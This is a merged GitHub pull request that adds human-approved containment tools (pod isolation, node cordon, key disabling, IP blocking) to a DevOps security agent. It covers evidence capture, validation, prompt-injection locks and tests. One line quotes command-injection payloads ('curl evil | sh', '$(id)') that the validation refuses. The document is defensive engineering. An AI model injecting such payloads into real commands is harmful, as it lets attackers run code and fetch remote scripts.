Skip to content

feat(security): approval-gated containment — isolate pod, cordon node, disable key, block IP (Fixes #168) - #202

Merged
OkiriGabriel merged 1 commit into
mainfrom
feat/approval-gated-containment-168
Nov 25, 2026
Merged

OkiriGabriel merged 1 commit into
mainfrom
feat/approval-gated-containment-168

Conversation

@OkiriGabriel

Copy link
Copy Markdown
Collaborator

Fixes #168.

The agent can now request containment for a confirmed compromise. A human always approves it in Slack, and nothing deletes evidence.

Tools

Tool Change after approval Evidence saved first Reverse (recorded)
isolate_pod Label the pod devops-agent/quarantine=<id> and apply a deny-all ingress+egress NetworkPolicy that selects only that label, so sibling replicas aren't affected. The pod keeps running for forensics. Pod YAML, describe, logs (current and previous), events Delete the policy and remove the label
cordon_node kubectl cordon (no drain) Node describe, pods on the node kubectl uncordon
disable_access_key AWS: update-access-key --status Inactive, plus an inline deny policy with aws:TokenIssueTime < now, which revokes sessions already issued. GCP: keys disable. list-access-keys, get-access-key-last-used, user policies / GCP key list Set the key Active again and delete the policy, or keys enable
block_ip Inbound deny: AWS network ACL entry, GCP firewall rule (priority 100), Azure NSG rule Current ACL or rules Delete the rule (GCP: --disabled). A Slack reminder is sent at expiry.

How the issue's requirements are met

  • Approval always, whatever AUTO_APPLY says: the change is stored with CommandApprovalStore().retain() and posted with send_approval_request. The existing /slack/action path enforces SLACK_APPROVER_IDS and records who approved. The tool itself never runs a mutation; a test asserts this with AUTO_APPLY=true.
  • Dry run shows the exact change: dry_run=true returns change and reverse without saving evidence or asking for approval. The Slack message also shows both.
  • Evidence first: fixed read-only commands run before the approval request, and their output is saved as evidence-<action>.json in the incident's logs. Secret values are scrubbed (and fix(security): approval for secret reads + redact secret values from tool output (Fixes #191) #201 covers secret reads).
  • Reversible, with the reverse recorded: the reverse is in the tool result, the Slack message and containment-<action>.json. Removing a rule is a delete, which the agent never runs (fix(security): permanently block destructive commands; AUTO_APPLY no longer bypasses approval #186), so undoing is a human action with the exact command provided.
  • Emergency stop and MUTATING_AGENT_TOOLS: all four tools are added, so the emergency stop and the prompt-injection tool lock refuse them. Attacker-written text can't choose a target.

Safety rails on the targets

  • Strict validation: Kubernetes DNS names, AKIA/ASIA key IDs, IAM user names, GCP service-account emails and key IDs, resource IDs. Everything is also shlex-quoted. Payloads such as api; curl evil | sh and $(id) are refused before anything runs.
  • block_ip refuses 0.0.0.0/0, anything wider than /24 (IPv4) or /64 (IPv6), and loopback, link-local (including 169.254.169.254), multicast and unspecified addresses. It also refuses anything overlapping CONTAINMENT_PROTECTED_CIDRS (office, VPN, load balancers, CI runners).
  • Azure keys aren't supported: their secrets can only be deleted, so they're left to manual rotation.

Expiry

block_ip records expires_at under {org}/containment_expiry/. A background loop (CONTAINMENT_REMINDER_INTERVAL_SEC, default 300) posts one reminder per expired block to that org's Slack, with the reverse command.

Prompt and docs

Tests

tests/test_containment.py, 30 tests:

  • Evidence runs read-only before any approval request, and the retained command contains the exact NetworkPolicy.
  • An approved change actually runs and isn't caught by the never-delete rule.
  • Unsafe names are rejected; dry run; emergency stop.
  • AWS and GCP keys; bad key requests; block_ip for each provider, dangerous targets, protected ranges and bad expiry.
  • The expiry reminder is sent once.
  • Agent dispatch with AUTO_APPLY=true still only requests approval.

Full suite: 1395 passed, 4 skipped. Flake8 (CI selection) and bandit are clean.

…, disable key, block IP (#168)

- tools/containment.py: isolate_pod (label + deny-all NetworkPolicy for that
  label, pod keeps running), cordon_node (no drain), disable_access_key (AWS
  Inactive + revoke older sessions, GCP disable) and block_ip (AWS NACL, GCP
  firewall, Azure NSG, /24 or /64 at most, expiry).
- Each request validates the target strictly, saves evidence with fixed
  read-only commands to the incident logs, then only retains the exact change
  behind an approval reference and posts it to Slack (approver allowlist,
  decision recorded) - whatever AUTO_APPLY says. Reverse commands are recorded;
  removing rules stays a human action since the agent never deletes.
- In MUTATING_AGENT_TOOLS: blocked by the emergency stop and the prompt-
  injection lock. dry_run shows the change without evidence or approval.
- CONTAINMENT_PROTECTED_CIDRS; expired IP blocks get one Slack reminder with
  the reverse command (CONTAINMENT_REMINDER_INTERVAL_SEC).
- Security playbook prompt and docs/THREAT_DETECTION.md updated.

Fixes #168
@OkiriGabriel
OkiriGabriel merged commit a436331 into main Nov 25, 2026
16 checks passed
@OkiriGabriel
OkiriGabriel deleted the feat/approval-gated-containment-168 branch November 26, 2026 10:12
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

[FEATURE] Approval-gated containment: isolate pod, cordon node, disable key, block IP (evidence first)

1 participant